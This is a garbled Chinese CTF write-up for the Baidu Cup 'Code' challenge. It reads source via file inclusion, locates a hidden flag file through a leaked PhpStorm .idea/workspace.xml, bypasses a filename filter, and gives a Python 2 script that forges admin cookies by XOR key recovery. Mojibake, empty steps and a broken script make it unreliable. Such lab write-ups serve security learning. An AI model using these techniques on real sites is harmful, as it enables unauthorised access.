百度杯”CTF比賽 九月場(chǎng)Code
分析:
1、看到鏈接想到文件包含,讀取index.php,發(fā)現(xiàn)源代碼解密如下:

image.png
2、注意三個(gè)地方:首先提示利用phpstorm寫的代碼,其次對(duì)包含的文件名進(jìn)行了過濾,最后將config替換為_。
3、最關(guān)鍵的點(diǎn)是phpstorm,因?yàn)橛蓀hpstorm創(chuàng)建的文件目錄下面自動(dòng)生成一個(gè)workspace.xml 里面包含了網(wǎng)站文件的結(jié)構(gòu)各種信息。于是訪問view-source:http://ad53550afe6b448c83f4a2f04cc564193ecdec0e51524676.game.ichunqiu.com/.idea/workspace.xml。
4、發(fā)現(xiàn)fl3g_ichuqiu.php文件,結(jié)合index.php中對(duì)文件名的限制,構(gòu)造view-source:http://ad53550afe6b448c83f4a2f04cc564193ecdec0e51524676.game.ichunqiu.com/index.php?jpg=fl3gconfigichuqiu.php進(jìn)行讀取。
5、

6、

7、分析代碼邏輯,寫出POC(渣渣我看了n多遍都沒看懂代碼邏輯......真是可怕??這里給老大遞茶??終于理清了)
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import base64
txt_enc = 'guest'
txt_enc1 = ''
for i in range(0, len(txt_enc)):
txt_enc1 = txt_enc1 + chr(ord(txt_enc[i])+10)
set_cookie = 'TG1iSEceDEpN'
coo = base64.b64decode(set_cookie)
rnd = coo[0:4]
print(rnd)
ttmp = coo[4:]
key = ''
for i in range(len(txt_enc1)):
key = key + chr(ord(txt_enc1[i])^ ord(ttmp[i]))
username = 'system'
username1 = ''
txtya = ''
for i in range(len(username)):
username1 += chr(ord(username[i])+10)
a = '1234567890abcdef' # 這里的a取md5的所有值
txtya = ''
for i in range(len(a)):
key1 = key + a[I]
txtya = ''
for (x, y) in zip(username1, key1):
txtya = txtya + chr(ord(x)^ ord(y))
shurua = rnd + txtya
shuru = base64.b64encode(shurua)
print(shuru)
with open("3.txt", "a+") as f:
f.write(shuru + '\n')
8、最后跑出flag:

image.png
知識(shí)點(diǎn):
1、phpstorm寫的會(huì)有一個(gè) .idea 文件夾,里面存儲(chǔ)了一些配置文件。

image.png
2、正則符號(hào)理解:見正則表達(dá)式全部符號(hào)解釋
3、代碼審計(jì)
4、加密解密,腳本爆破